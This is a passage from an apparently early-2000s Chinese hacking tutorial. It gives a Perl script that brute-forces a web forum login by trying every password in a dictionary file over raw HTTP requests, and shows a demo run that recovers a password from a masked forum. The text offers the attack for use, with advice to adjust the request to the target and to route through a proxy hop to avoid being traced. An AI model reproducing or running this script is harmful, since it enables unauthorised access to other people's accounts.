三、程式代码/代码解析
思路(步骤):
取得IP ---> 打开字典,字典里每一行一个密码 ---> socket() ---> connect() ---> 向目标主机WEB端口提交数据,此数据中所提交的密码用一个变量来代替,这个变量就是字典里的密码 ---> 将返回的信息保存,用先前提到的登陆成功/失败返回信息的不同点进行对比,判断是否登陆成功,即密码是否正确 ---> [ 当前密码正确--->输出正确的密码并退出程式; 当前密码错误--->从第二步骤开始重复,直到密码正确或试完字典里的任何密码 ]
#!/usr/bin/perl
#################################
#Password Cracker
#Author:HBU-the0crat
#E-mail:the0crat@hotmail.com
#Date:2003/8/18
#################################
use Socket; #使用Socket模块
my $ARGC=@ARGV; #取得参数的数量
if($ARGC!=1){print "/nPassword Cracker Tool By HBU-the0crat/nUsage:$0 TargetIP/n";exit;}
my $host=shift; #获取主机IP
print "/nSending...";
open(FH,"<dic.dic"); #挂字典
while(<FH>) #读取字典
{
chomp;
my $pwd=$_;
my $req="GET http://www.****bbs.com/login.cgi?username=asdfasdf&userpsd=$pwd&menu=login&id=
HTTP/1.1/n"."host:iis-server/n/n";
#提交的信息
my @res=sendraw($req); #将目标服务器返回的信息保存为数组
if($res[6]=~/fe7/g) #从@res数组中取得所返回信息的第7行,并进行判断。
判断依据:前文中用telnet所获知的用来判断密码是否正确的字符
{print "/npwd:$pwd error";} #假如返回的信息中的第7行中包含fe7这三个
字符,则在屏幕上打印出密码错误的信息
else
{
print "/npwd:$pwd passed"; #因为成功登陆后返回的信息中的第7行不包
含fe7这三个字符,所以假如第7行中不包含fe7这三个字符就表示登陆成功,
即密码正确
close(FH);
exit; #探测到正确密码立即退出
}
} #对比判断是否登陆成功的循环
close(FH);
sub sendraw {
my ($req2) = @_;
my $target;
$target = inet_aton($host) or die "/ninet_aton problems"; #转换目标IP
socket(Handle,PF_INET,SOCK_STREAM,getprotobyname(’tcp’)||0) or die "/nSocket problems/n"; #Socket
if(connect(Handle,pack "SnA4x8",2,80,$target)){ #此例中为80端口,
根据实际情况更改
select(Handle);
$| = 1;
print $req2; #向目标服务器提交登陆资料
my @res2 = <Handle>; #取得目标服务器返回的信息
select(STDOUT);
close(Handle);
return @res2; #将目标服务器返回的信息作为sendraw()函数的返回值
}
else {
die("/nCan’t connect to $host:80.../n");
}
}
四、演示
dic.dic内容如下:
asdf
asdfasdf
asdfa
运行这个脚本(win2k activeperl5.6下通过)
C:/>cracker.pl www.****bbs.com
Sending...
pwd:asdf error
pwd:asdfasdf passed
程式探测到正确密码后退出...:)
注意要根据实际情况更改提交的信息和判断依据,连同WEB端口。
挂个字典,就能够慢慢等密码出来了,然而更多时候是取决于您的运气。
五、总结
弊:这段代码用的是单线程,所以在探测的速度上不是很理想,有兴趣的能够去改改,在没有使用跳板的情况下对自己不安全,而且成功率很大程度上取决于您的运气。
利:这种方法比较有效, 但也是比较没有效率的密码破解方式。




